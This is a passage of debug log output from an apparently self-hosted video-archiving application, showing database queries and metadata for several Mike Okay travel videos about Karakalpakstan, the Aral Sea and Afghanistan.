(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18990] 18:59:42.645 [debug] Current batch of media processed. Will check again in 1000ms 18:59:43.646 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "duration" => 1857, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", "id" => "oiGyXylltRE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oiGyXylltRE", "playlist_index" => 16, "timestamp" => 1766162042, "title" => "Inside the Country that Almost Existed", "upload_date" => "20251219"} 18:59:43.647 [debug] QUERY OK source="sources" db=0.3ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:43.647 [debug] QUERY OK source="sources" db=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:43.648 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 18:59:43.649 [debug] QUERY OK source="media_items" db=0.7ms idle=1002.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "f378472c-b012-4fd2-b8c0-ecafc4fdc930", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 01:59:43Z], ~U[2026-08-20 01:59:43Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 18:59:43.649 [debug] QUERY OK source="sources" db=0.1ms idle=70.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:43.649 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:43.650 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18991] 18:59:43.650 [debug] Current batch of media processed. Will check again in 1000ms 18:59:44.651 [debug] Current batch of media processed. Will check again in 1000ms 18:59:45.652 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 1552, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", "id" => "XaO_IcYqzRs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XaO_IcYqzRs", "playlist_index" => 17, "timestamp" => 1764952604, "title" => "Drunk Camping in an Abandoned Soviet Ghost Ship", "upload_date" => "20251205"} 18:59:45.653 [debug] QUERY OK source="sources" db=0.4ms idle=870.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:45.653 [debug] QUERY OK source="sources" db=0.1ms idle=871.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:45.654 [debug] QUERY OK source="media_items" db=0.3ms idle=871.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 18:59:45.655 [debug] QUERY OK source="media_items" db=0.7ms idle=872.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "d002008c-6922-4269-b0c8-1b11849a641e", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 01:59:45Z], ~U[2026-08-20 01:59:45Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 18:59:45.655 [debug] QUERY OK source="sources" db=0.2ms idle=73.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:45.656 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:45.656 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18992] 18:59:45.656 [debug] Current batch of media processed. Will check again in 1000ms 18:59:46.657 [debug] Current batch of media processed. Will check again in 1000ms 18:59:47.658 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2619, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", "id" => "TePUvifOHbk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=TePUvifOHbk", "playlist_index" => 18, "timestamp" => 1763741498, "title" => "Crossing Afghanistan's Deadly Coal Mine Route", "upload_date" => "20251121"} 18:59:47.659 [debug] QUERY OK source="sources" db=0.2ms idle=876.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:47.659 [debug] QUERY OK source="sources" db=0.1ms idle=876.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:47.660 [debug] QUERY OK source="media_items" db=0.3ms idle=877.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 18:59:47.661 [debug] QUERY OK source="media_items" db=0.9ms idle=877.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "a2dc5ea3-cfe5-449e-803d-191d8b8058ce", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 01:59:47Z], ~U[2026-08-20 01:59:47Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 18:59:47.662 [debug] QUERY OK source="sources" db=0.3ms idle=77.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:47.662 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:47.662 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18993] 18:59:47.663 [debug] Current batch of media processed. Will check again in 1000ms 18:59:47.690 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:48.663 [debug] Current batch of media processed. Will check again in 1000ms 18:59:49.664 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "duration" => 2078, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", "id" => "_uOW3KGPqtA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_uOW3KGPqtA", "playlist_index" => 19, "timestamp" => 1762533339, "title" => "Afghanistan Broke Me..", "upload_date" => "20251107"} 18:59:49.665 [debug] QUERY OK source="sources" db=0.2ms idle=882.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:59:49.665 [debug] QUERY OK source="sources" db=0.1ms idle=882.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:59:49.665 [debug] QUERY OK source="media_items" db=0.2ms idle=883.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 18:59:49.667 [debug] QUERY OK source="media_items" db=0.7ms idle=883.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") 